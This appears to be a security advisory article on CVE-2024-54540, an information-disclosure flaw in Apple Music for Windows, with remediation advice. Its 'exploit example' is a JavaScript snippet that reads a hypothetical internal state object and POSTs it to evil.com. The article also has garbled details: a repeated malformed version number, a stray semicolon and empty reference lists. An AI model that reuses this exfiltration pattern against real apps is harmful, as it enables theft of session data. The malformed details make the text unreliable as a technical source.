CVE-2024-54540 - Apple Music for Windows Web Content Input Vulnerability – Exploit Details, Sample Code, and Patch Guidance

CVE-2024-54540 is a security vulnerability impacting Apple Music for Windows, before version 1.5..152. The flaw allowed an attacker to craft malicious web content, which, when processed by Apple Music’s embedded web view, could leak internal state information from the app—potentially unlocking sensitive data or aiding follow-up attacks.

How Serious Is This Vulnerability?

While not leading to instant remote code execution, CVE-2024-54540 is rated as an information disclosure vulnerability. By tricking users into opening malicious web content (like a shared song link), criminals could get insights about the app’s internal working, session states, or possibly even user data that should remain private.

Apple’s security note:
- “Processing maliciously crafted web content may disclose internal states of the app. This issue was addressed with improved input sanitization.”

Affected software:

Fixed in: Apple Music 1.5..152 for Windows

Original reference:
- apple security updates
- Apple Music for Windows v1.5..152 release notes

Technical Details – How Did the Bug Work?

The root cause lies in how Apple Music’s embedded browser/webview processed and rendered user-provided or external web content. Insufficient input sanitization meant that certain JavaScript or malformed HTML could escape sandboxing mechanisms and access app state not intended for the web layer.

Here’s a simplified flow

1. Malicious Site: Attacker crafts a dangerous web page (e.g., through iframe or injected JavaScript).
2. Delivery: User clicks a link to this page from chat/social media/audio link.
3. Processing: Apple Music’s webview loads this content, but due to lack of proper input handling, sensitive internal information is unintentionally exposed.

Exploit Example

Let’s say an attacker wants to leak information about the current logged-in account or session token.

Malicious HTML/JavaScript payload

<!-- Injected into webview by attacker-controlled content -->
<script>
try {
    // Attempting to read internal app states via exposed JS objects
    let appState = window.__APP_MUSIC_INTERNAL_STATE__; // Hypothetical leak
    if(appState) {
        fetch('https://evil.com/leak';, {
            method: 'POST',
            body: JSON.stringify({state: appState}),
            headers: {'Content-Type': 'application/json'}
        });
    }
} catch(e) {
    // Error handling
}
</script>

Depending on the specific webview implementation, the attacker might be able to probe for

- User email/identifier

Other internal flags

This data, sent to the attacker’s server, could be used for phishing, targeted attacks, or session hijacking.

Patch & Remediation

Apple fixed the bug in Apple Music 1.5..152 for Windows by improving input sanitization—specifically tightening what user-supplied or external content is allowed to do inside the embedded webview.

Update Apple Music for Windows:

Patch immediately to version 1.5..152 or later. You can get the latest version from the Microsoft Store or Apple’s website.

Be cautious with shared links:

Don’t click on unfamiliar music links or files from unknown sources, especially ones that prompt opening in Apple Music.

Stay up to date:

Regularly check Apple’s Security Support for the latest advisories.

Conclusion

CVE-2024-54540 in Apple Music for Windows highlights the ongoing importance of sanitizing all user and external input, even in “trusted” interfaces like embedded webviews. While you might not be a direct target, keeping your apps updated—and thinking twice before opening random links—are the best ways to stay safe.

Timeline

Published on: 01/15/2025 20:15:28 UTC
Last modified on: 03/03/2025 22:45:38 UTC